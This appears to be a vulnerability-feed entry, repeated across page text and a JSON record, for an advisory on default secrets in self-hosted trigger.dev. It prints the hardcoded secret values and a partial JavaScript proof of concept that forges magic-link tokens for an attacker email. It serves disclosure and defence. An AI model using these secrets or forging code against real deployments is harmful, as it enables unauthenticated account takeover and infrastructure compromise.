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Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise

Type: advisorySources: OSV

## Summary Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise. ## Vulnerability Details The `hosting/docker/.env.example` file contains hardcoded cryptographic secrets: ``` SESSION_SECRET=2818143646516f6fffd707b36f334bbb MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f ``` The `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted). ## Steps to Reproduce ### Setup ```bash cd hosting/docker && cp .env.example .env cd webapp && docker compose up -d cd ../worker && docker compose up -d ``` ### Step 1: Forge magic link token ```javascript const CryptoJS = require('crypto-js'); const secret = '44da78b7bbb0dfe709cf38931d25dcdd'; const payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()}); const token = encodeURIComponent(CryptoJS.AES.encr

Products
trigger.dev
Affected versions
Not specified
Fixed versions
4.5.6
CVEs
CVE-2026-114087
Confirmed fixed CVEs
Not specified
Updated in this feed
31 Oct 2026, 14:08 UTC · Revision 1

Source evidence

Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise

core-osv · Original source

Published 2 Oct 2026, 22:39 UTC

## Summary Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise. ## Vulnerability Details The `hosting/docker/.env.example` file contains hardcoded cryptographic secrets: ``` SESSION_SECRET=2818143646516f6fffd707b36f334bbb MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f ``` The `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted). ## Steps to Reproduce ### Setup ```bash cd hosting/docker && cp .env.example .env cd webapp && docker compose up -d cd ../worker && docker compose up -d ``` ### Step 1: Forge magic link token ```javascript const CryptoJS = require('crypto-js'); const secret = '44da78b7bbb0dfe709cf38931d25dcdd'; const payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()}); const token = encodeURIComponent(CryptoJS.AES.encr

osv:GHSA-pqxw-g93w-hj9x

trigger.dev

Fixed versions: 4.5.6

Complete source record
{
  "id": "99c0c0e3a4420f326e5ff247335d544bf0b0286d246636d45d9783a3daf4354c",
  "url": "https://osv.dev/vulnerability/GHSA-pqxw-g93w-hj9x",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise",
    "summary": "## Summary Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise. ## Vulnerability Details The `hosting/docker/.env.example` file contains hardcoded cryptographic secrets: ``` SESSION_SECRET=2818143646516f6fffd707b36f334bbb MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f ``` The `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted). ## Steps to Reproduce ### Setup ```bash cd hosting/docker && cp .env.example .env cd webapp && docker compose up -d cd ../worker && docker compose up -d ``` ### Step 1: Forge magic link token ```javascript const CryptoJS = require('crypto-js'); const secret = '44da78b7bbb0dfe709cf38931d25dcdd'; const payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()}); const token = encodeURIComponent(CryptoJS.AES.encr",
    "evidence": "osv:GHSA-pqxw-g93w-hj9x",
    "products": [
      {
        "name": {
          "value": "trigger.dev",
          "evidence": "/affected/0/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "4.5.6",
            "evidence": "/affected/0/ranges"
          }
        ],
        "affected_versions": []
      }
    ],
    "severity": "high",
    "structured": {
      "id": "GHSA-pqxw-g93w-hj9x",
      "aliases": [
        "CVE-2026-114087",
        "GHSA-pqxw-g93w-hj9x"
      ],
      "metrics": [
        {
          "type": "CVSS_V4",
          "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
        }
      ],
      "affected": [
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "4.5.6"
                }
              ]
            }
          ],
          "package": {
            "name": "trigger.dev",
            "purl": "pkg:npm/trigger.dev",
            "ecosystem": "npm"
          },
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-pqxw-g93w-hj9x/GHSA-pqxw-g93w-hj9x.json",
            "last_known_affected_version_range": "<= 4.5.5"
          }
        }
      ],
      "modified": "2026-10-21T10:57:23.177909316Z",
      "provider": "osv",
      "references": [
        "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-pqxw-g93w-hj9x",
        "https://github.com/triggerdotdev/trigger.dev/pull/4316",
        "https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0",
        "https://github.com/triggerdotdev/trigger.dev",
        "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6"
      ],
      "provider_metadata": {
        "cwe_ids": [
          "CWE-1393",
          "CWE-653"
        ],
        "severity": "HIGH",
        "github_reviewed": true,
        "nvd_published_at": null,
        "github_reviewed_at": "2026-10-02T22:39:48Z"
      }
    },
    "related_cves": [
      {
        "value": "CVE-2026-114087",
        "evidence": "/aliases"
      }
    ],
    "security_relevant": true,
    "severity_evidence": "/database_specific/severity"
  },
  "source_id": "core-osv",
  "document_id": 392977,
  "published_at": "2026-10-02T22:39:48+00:00"
}